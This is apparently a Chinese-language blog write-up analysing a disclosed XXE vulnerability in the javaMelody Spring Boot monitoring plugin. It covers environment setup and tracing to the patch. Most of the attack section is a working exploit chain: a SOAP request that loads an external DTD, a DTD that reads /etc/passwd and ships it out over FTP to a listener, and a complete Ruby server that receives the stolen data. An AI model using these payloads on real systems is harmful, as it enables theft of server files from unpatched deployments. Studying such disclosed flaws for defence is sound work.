javaMelody是Spring Boot框架可用的一个监视服务器运行信息的插件,这个插件去年爆出了一个XXE的漏洞。这篇文章便分析一下这个漏洞。
这里我使用了Idea来搭建spring boot的环境,创建好spring boot项目后在 pom.xml
的 dependencies
中加入
<dependency> <groupId>net.bull.javamelody</groupId> <artifactId>javamelody-spring-boot-starter</artifactId> <version>1.73.1</version> </dependency>
之后启动程序,访问 127.0.0.1:8080/monitoring
便可以验证是否加载成功插件。
漏洞复现使用的poc为:
POST / HTTP/1.1 Host: localhost:8080 Content-type: text/xml SOAPAction: aaaaa Content-Length: 154 <?xml version="1.0" encoding="UTF-8" standalone="no" ?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://127.0.0.1:5678/ev.dtd"> %remote; ]> </root>
在本地起一个监听5678端口的http服务,这里我用的是php
可以看到发包后可以收到http请求,因此存在XXE漏洞。
为了完成盲打读取文件的功能,ev.dtd的内容如下:
<!ENTITY % payload SYSTEM "file:///etc/passwd"> <!ENTITY % int "<!ENTITY trick SYSTEM 'ftp://127.0.0.1:2121/%payload;'>"> %int; %trick;
使用如下的ruby脚本可以创建一个用于获取ftp请求的ftp服务器:
require 'socket' ftp_server = TCPServer.new 2121 http_server = TCPServer.new 8088 log = File.open( "xxe-ftp.log", "a") payload = '<!ENTITY % asd SYSTEM "file:///etc/passwd">' Thread.start do loop do Thread.start(http_server.accept) do |http_client| puts "HTTP. New client connected" loop { req = http_client.gets() break if req.nil? if req.start_with? "GET" http_client.puts("HTTP/1.1 200 OK/r/nContent-length: #{payload.length}/r/n/r/n#{payload}") end puts req } puts "HTTP. Connection closed" end end end Thread.start do loop do Thread.start(ftp_server.accept) do |ftp_client| puts "FTP. New client connected" ftp_client.puts("220 xxe-ftp-server") loop { req = ftp_client.gets() break if req.nil? puts "< "+req log.write "get req: #{req.inspect}/n" if req.include? "LIST" ftp_client.puts("drwxrwxrwx 1 owner group 1 Feb 21 04:37 test") ftp_client.puts("150 Opening BINARY mode data connection for /bin/ls") ftp_client.puts("226 Transfer complete.") elsif req.include? "USER" ftp_client.puts("331 password please - version check") elsif req.include? "PORT" puts "! PORT received" puts "> 200 PORT command ok" ftp_client.puts("200 PORT command ok") else puts "> 230 more data please!" ftp_client.puts("230 more data please!") end } puts "FTP. Connection closed" end end end loop do sleep(10000) end
运行脚本,Burp重新发包即可获取本地文件。
根据大佬们的分析流程,直接查看之后的版本的patch可以定位导致漏洞出现的地方:
https://github.com/javamelody/javamelody/commit/ef111822562d0b9365bd3e671a75b65bd0613353
可以看到官方的修复中直接禁用了XML中引用外部实体。我们跟进目标代码附近
可以看到这段代码是一个典型的XXE的漏洞代码。全局查找使用了 parseSoapMethodName
的地方
跟进 initialize
方法
可以看到漏洞利用方法构造的要素:
application/soap+xml
或者Content-type为 text/xml
且存在 SOAPAction
请求头